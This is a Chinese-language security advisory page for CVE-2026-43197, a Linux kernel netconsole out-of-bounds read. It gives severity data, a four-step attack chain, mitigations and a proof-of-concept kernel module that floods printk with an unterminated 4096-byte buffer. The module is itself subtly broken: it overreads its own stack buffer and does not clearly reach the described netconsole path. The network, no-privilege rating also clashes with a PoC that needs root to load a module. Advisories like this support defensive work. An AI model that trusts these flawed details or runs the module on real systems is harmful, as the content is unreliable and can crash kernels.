IPBUF安全漏洞报告
English
CVE-2026-43197 CVSS 9.1 严重

CVE-2026-43197 Linux内核netconsole越界读取漏洞

披露日期: 2026-05-06
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-43197
漏洞类型
越界读取
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux KernelOOB Read拒绝服务NetconsoleKASAN

漏洞概述

Linux内核netconsole模块存在安全漏洞,原因是控制台子系统传递给netconsole的消息不保证以空字符结尾。当netconsole处理这些非空终止消息时,会导致越界内存读取(OOB Read),可能引发系统崩溃或敏感信息泄露。

技术细节

该漏洞位于netconsole驱动中。在commit 7eab73b18630将netconsole转换为NBCON控制台基础设施后,消息处理逻辑发生了变化。由于传入的`msg`参数未保证null-terminated,当调用`scnprintf`和`vsnprintf`等函数处理该消息时,会继续读取缓冲区边界之外的内存。这导致KASAN报告slab-out-of-bounds错误。攻击者通过控制日志内容或触发特定长度的内核消息,可利用此漏洞造成拒绝服务或读取敏感内核数据。

攻击链分析

STEP 1
侦察
攻击者确认目标系统运行了受影响的Linux内核版本并启用了netconsole功能。
STEP 2
触发
攻击者向内核控制台发送特制的、非空终止的长消息,或触发产生特定长度的内核日志。
STEP 3
利用
netconsole驱动尝试处理该消息,字符串处理函数读取越过缓冲区末尾的数据。
STEP 4
影响
触发KASAN报错导致内核崩溃(DoS),或泄露相邻内存对象的敏感信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * PoC Concept for CVE-2026-43197 * Triggering netconsole OOB read by flooding console. * Note: This requires netconsole to be configured and active. */ #include <linux/module.h> #include <linux/kernel.h> #include <linux/printk.h> static int __init poc_init(void) { int i; char long_msg[4096]; // Fill buffer without null terminator at specific boundary memset(long_msg, 'A', 4096); printk(KERN_EMERG "Triggering netconsole OOB read\n"); // Attempt to trigger the write path for (i = 0; i < 100; i++) { printk(KERN_CONT "%s", long_msg); } return 0; } static void __exit poc_exit(void) { printk(KERN_INFO "PoC unloaded\n"); } module_init(poc_init); module_exit(poc_exit); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("PoC for CVE-2026-43197");

影响范围

Linux Kernel < 6.19
Linux Kernel (Stable branches prior to commits 3126a2f, 74ab145, 82aec77)

防御指南

临时缓解措施
在未应用补丁前,可以通过禁用netconsole模块或停止使用netconsole日志功能来缓解风险。限制对内核日志的访问权限也可以降低被利用的可能性。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表